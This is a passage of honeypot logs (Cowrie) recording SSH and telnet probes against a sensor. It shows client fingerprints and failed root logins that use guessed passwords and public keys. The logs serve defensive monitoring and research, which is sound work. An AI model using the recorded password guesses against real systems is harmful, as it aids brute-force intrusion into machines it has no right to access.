.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:52:05.946596Z","src_ip":"51.250.105.222","session":"f81ec9a55b13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:52:06.347272Z","src_ip":"51.250.105.222","session":"f81ec9a55b13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:52:06.598176Z","src_ip":"45.233.218.160","session":"00fbcec34220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:52:07.486214Z","src_ip":"51.250.105.222","session":"f81ec9a55b13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.143.189.125","src_port":56508,"dst_ip":"10.17.0.5","dst_port":22,"session":"20335cc19eca","protocol":"ssh","message":"New connection: 79.143.189.125:56508 (10.17.0.5:22) [session: 20335cc19eca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:52:43.947533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:52:43.957605Z","src_ip":"79.143.189.125","session":"20335cc19eca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:52:44.047250Z","src_ip":"79.143.189.125","session":"20335cc19eca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABCD@1234","message":"login attempt [root/ABCD@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:52:44.449131Z","src_ip":"79.143.189.125","session":"20335cc19eca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:52:45.551332Z","src_ip":"79.143.189.125","session":"20335cc19eca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":40960,"dst_ip":"10.17.0.5","dst_port":22,"session":"0872eabf5829","protocol":"ssh","message":"New connection: 38.93.206.2:40960 (10.17.0.5:22) [session: 0872eabf5829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:03.664520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:03.669344Z","src_ip":"38.93.206.2","session":"0872eabf5829","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:03.729399Z","src_ip":"38.93.206.2","session":"0872eabf5829","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bullet695","message":"login attempt [root/bullet695] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:03.922781Z","src_ip":"38.93.206.2","session":"0872eabf5829","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:05.009183Z","src_ip":"38.93.206.2","session":"0872eabf5829","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":57360,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cb9430836bf","protocol":"ssh","message":"New connection: 103.77.175.15:57360 (159.203.135.109:22) [session: 5cb9430836bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:15.787202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:15.792573Z","src_ip":"103.77.175.15","session":"5cb9430836bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:16.046494Z","src_ip":"103.77.175.15","session":"5cb9430836bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:16.803511Z","src_ip":"103.77.175.15","session":"5cb9430836bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:18.058527Z","src_ip":"103.77.175.15","session":"5cb9430836bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"86.111.187.169","src_port":39056,"dst_ip":"10.17.0.5","dst_port":22,"session":"edbb23cd645a","protocol":"ssh","message":"New connection: 86.111.187.169:39056 (10.17.0.5:22) [session: edbb23cd645a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:24.711404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:24.717347Z","src_ip":"86.111.187.169","session":"edbb23cd645a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:24.795123Z","src_ip":"86.111.187.169","session":"edbb23cd645a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:90:9a:f3:e1:85:e1:e3:c9:7b:dc:0b:33:f6:64:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClLJC8HbSVQrC6YChsNY5d+vTFmw5/nWqeXBS3xSVkvn/3H25JEp/AQzf8vfOijALVRZS6eMJc5lroLbBkDJLZ4kKge3WzmqcXXppslcgSaYwB01yRtaLuSSISAf7/pb3deyF5GiNj4220MozGjJEoIZQDFP5xSvSrnXVYe7LPNpr6YO0vdRLMIZnnfROVqvBSxWIVnNvlFplKMQBy9VbFkje4AymG9CKkqRKDBqtmD2ahOGr+GnPD1KU123RgkEmjV/kZn4j7Mji3Do4TNNHdc7sLaCZpDIIYQjjPnjLKmviayoKqrvDixmxFjFOCiM6JsuRKCS+0oLVN3+pl6Xrh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:90:9a:f3:e1:85:e1:e3:c9:7b:dc:0b:33:f6:64:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:25.147086Z","src_ip":"86.111.187.169","session":"edbb23cd645a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:90:9a:f3:e1:85:e1:e3:c9:7b:dc:0b:33:f6:64:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClLJC8HbSVQrC6YChsNY5d+vTFmw5/nWqeXBS3xSVkvn/3H25JEp/AQzf8vfOijALVRZS6eMJc5lroLbBkDJLZ4kKge3WzmqcXXppslcgSaYwB01yRtaLuSSISAf7/pb3deyF5GiNj4220MozGjJEoIZQDFP5xSvSrnXVYe7LPNpr6YO0vdRLMIZnnfROVqvBSxWIVnNvlFplKMQBy9VbFkje4AymG9CKkqRKDBqtmD2ahOGr+GnPD1KU123RgkEmjV/kZn4j7Mji3Do4TNNHdc7sLaCZpDIIYQjjPnjLKmviayoKqrvDixmxFjFOCiM6JsuRKCS+0oLVN3+pl6Xrh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:25.155267Z","src_ip":"86.111.187.169","session":"edbb23cd645a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:68:6f:df:af:f0:24:90:4a:40:e8:80:9b:07:6b:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiELcUvwgNWFjrLlntB64ZaXVhhviy+AFuz+gto8crag6X/uJTuIeFkx+vlbksGvXK9rQi6SRcQvaYUAYzBCo/mbJONjVqoOXYKLwfXx69BSzjDVYpbsCe76eAC8H0PWGQ3TB6QTNezmxas1Htz258tYt2ARxzOpkQuCqkO8jx7JIe2p063EIp1SIJeJ+I0hqmgxwr0m2cKIk17njFsc8JI5EWI3vyaO5A7tCegwS2LGp/fDUZs8LV1EqDKgxxoodppiRHwFX6WWKmEAjq+u3Jt6TTXd6ASO8XBWy+voXR4m1ywSx41FaEyVIlO8TiHvubmKxXM0BglTHI9kDNg95L","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:68:6f:df:af:f0:24:90:4a:40:e8:80:9b:07:6b:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:25.231482Z","src_ip":"86.111.187.169","session":"edbb23cd645a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:68:6f:df:af:f0:24:90:4a:40:e8:80:9b:07:6b:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiELcUvwgNWFjrLlntB64ZaXVhhviy+AFuz+gto8crag6X/uJTuIeFkx+vlbksGvXK9rQi6SRcQvaYUAYzBCo/mbJONjVqoOXYKLwfXx69BSzjDVYpbsCe76eAC8H0PWGQ3TB6QTNezmxas1Htz258tYt2ARxzOpkQuCqkO8jx7JIe2p063EIp1SIJeJ+I0hqmgxwr0m2cKIk17njFsc8JI5EWI3vyaO5A7tCegwS2LGp/fDUZs8LV1EqDKgxxoodppiRHwFX6WWKmEAjq+u3Jt6TTXd6ASO8XBWy+voXR4m1ywSx41FaEyVIlO8TiHvubmKxXM0BglTHI9kDNg95L","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:25.235852Z","src_ip":"86.111.187.169","session":"edbb23cd645a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:5f:d4:80:1d:a5:3f:51:55:75:21:68:80:b0:cc:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6Tau42fiHoWUdjLA/9MnYWnIj2zynIImGf+DqhlDkm5paZcDqi3iXQCqp/9DFBPF3Tw5lfEJfQ1wvVxS2V1cDGWmHazFCazgMiB7rzcIq9wHy+2mQIbV1WiybxPEIl7CnEat/Rtn/McMPVsdslNyMcwfjIpKOAoMhhHk1Uyc7O5JWeyC0CIa4xnhLhGs5IPOXP++wB3s37XnhiOdRnF8I6XNoZ0VO7+xGbE/9p6LBGoKNOoA0lsBcKdP2E7xJe20IC+mhmpmXRMeCNKtAlz3toP+4j5TuakCc/lWS8wNbqr5OA1Tp3GKcfku6W0To9xICW+cFbAbelJZ+R8iXvkFew==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:5f:d4:80:1d:a5:3f:51:55:75:21:68:80:b0:cc:7c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:25.311772Z","src_ip":"86.111.187.169","session":"edbb23cd645a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:5f:d4:80:1d:a5:3f:51:55:75:21:68:80:b0:cc:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6Tau42fiHoWUdjLA/9MnYWnIj2zynIImGf+DqhlDkm5paZcDqi3iXQCqp/9DFBPF3Tw5lfEJfQ1wvVxS2V1cDGWmHazFCazgMiB7rzcIq9wHy+2mQIbV1WiybxPEIl7CnEat/Rtn/McMPVsdslNyMcwfjIpKOAoMhhHk1Uyc7O5JWeyC0CIa4xnhLhGs5IPOXP++wB3s37XnhiOdRnF8I6XNoZ0VO7+xGbE/9p6LBGoKNOoA0lsBcKdP2E7xJe20IC+mhmpmXRMeCNKtAlz3toP+4j5TuakCc/lWS8wNbqr5OA1Tp3GKcfku6W0To9xICW+cFbAbelJZ+R8iXvkFew==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:25.316190Z","src_ip":"86.111.187.169","session":"edbb23cd645a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:ff:7f:a9:96:b3:06:83:01:1f:8d:f2:f3:37:54:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBk7VJgyVPTm2PyTjPW2qmFYuyiHlu10UtaMnvpSAgPu2VmEbb3U8GOC00iVPbBAXvG2W4qqVD/VudMxsn7pyRW0pf3dzUHywSrV2Ic55RsAaAK1ChqgIuPsHlu9jxMcOF9UvMI4Qk/erKwQfVvQWo5TZKXksAnNT38HeX34ZPRrFQz4X5Zzaay/aiBKjS+tV2e5/7MD31slFuA3RH+x4kqiTF2tFgrj01fQzqVKvQiNtH3kYQUjDDFbpidYsEJxnKvvlyOHrl3MLpsEn07oIkYcEXCX0Wmrmqqmq8IQC83VtdRY6Cxh23Rsb48UanNxJpktFaPiVqDScpXypX+8+p","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:ff:7f:a9:96:b3:06:83:01:1f:8d:f2:f3:37:54:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:25.391931Z","src_ip":"86.111.187.169","session":"edbb23cd645a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:ff:7f:a9:96:b3:06:83:01:1f:8d:f2:f3:37:54:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBk7VJgyVPTm2PyTjPW2qmFYuyiHlu10UtaMnvpSAgPu2VmEbb3U8GOC00iVPbBAXvG2W4qqVD/VudMxsn7pyRW0pf3dzUHywSrV2Ic55RsAaAK1ChqgIuPsHlu9jxMcOF9UvMI4Qk/erKwQfVvQWo5TZKXksAnNT38HeX34ZPRrFQz4X5Zzaay/aiBKjS+tV2e5/7MD31slFuA3RH+x4kqiTF2tFgrj01fQzqVKvQiNtH3kYQUjDDFbpidYsEJxnKvvlyOHrl3MLpsEn07oIkYcEXCX0Wmrmqqmq8IQC83VtdRY6Cxh23Rsb48UanNxJpktFaPiVqDScpXypX+8+p","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:25.396486Z","src_ip":"86.111.187.169","session":"edbb23cd645a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:bd:98:c2:a8:14:1e:ca:1f:86:16:c0:c8:70:92:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2Bw052TxKXK/PPcmU9HDC4dYpeq5VcmIrJcgkKH5YM/2CppJZRfYmI0iSezfydK+ePkP9mchnxefRvC0NpHJqgeFMXm9us8rhaig+mI4gdSZPK7jvvWC82EaoOJvI0nGykdVQhUTLPh9KJOoGF6DXnc4HLIixL9h04CdIHRQAsQk/HNP97XZAcGshGaKBkTYUDTgHmy+eq/ayRA59bLlyHQpZqDN3Jzz7cn+wEZgLggsi/gLXAXNF3uUnKfIrhbRfGm/9QmyBRKCIqSRFC+guMQzqwole3BoQ8Nwc035/zxv1XFn6UlvILpLiKezsxf4AlFwagoSfSV7XmWHowIxsw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:bd:98:c2:a8:14:1e:ca:1f:86:16:c0:c8:70:92:90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:25.473341Z","src_ip":"86.111.187.169","session":"edbb23cd645a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:bd:98:c2:a8:14:1e:ca:1f:86:16:c0:c8:70:92:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2Bw052TxKXK/PPcmU9HDC4dYpeq5VcmIrJcgkKH5YM/2CppJZRfYmI0iSezfydK+ePkP9mchnxefRvC0NpHJqgeFMXm9us8rhaig+mI4gdSZPK7jvvWC82EaoOJvI0nGykdVQhUTLPh9KJOoGF6DXnc4HLIixL9h04CdIHRQAsQk/HNP97XZAcGshGaKBkTYUDTgHmy+eq/ayRA59bLlyHQpZqDN3Jzz7cn+wEZgLggsi/gLXAXNF3uUnKfIrhbRfGm/9QmyBRKCIqSRFC+guMQzqwole3BoQ8Nwc035/zxv1XFn6UlvILpLiKezsxf4AlFwagoSfSV7XmWHowIxsw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:25.478682Z","src_ip":"86.111.187.169","session":"edbb23cd645a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:25.556656Z","src_ip":"86.111.187.169","session":"edbb23cd645a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":35098,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca8ace600618","protocol":"telnet","message":"New connection: 79.139.59.21:35098 (159.203.135.109:23) [session: ca8ace600618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:28.857604Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":46612,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b994e71d6fa","protocol":"ssh","message":"New connection: 78.44.192.210:46612 (10.17.0.5:22) [session: 7b994e71d6fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:31.655631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:31.660104Z","src_ip":"78.44.192.210","session":"7b994e71d6fa","protocol":"ssh"}
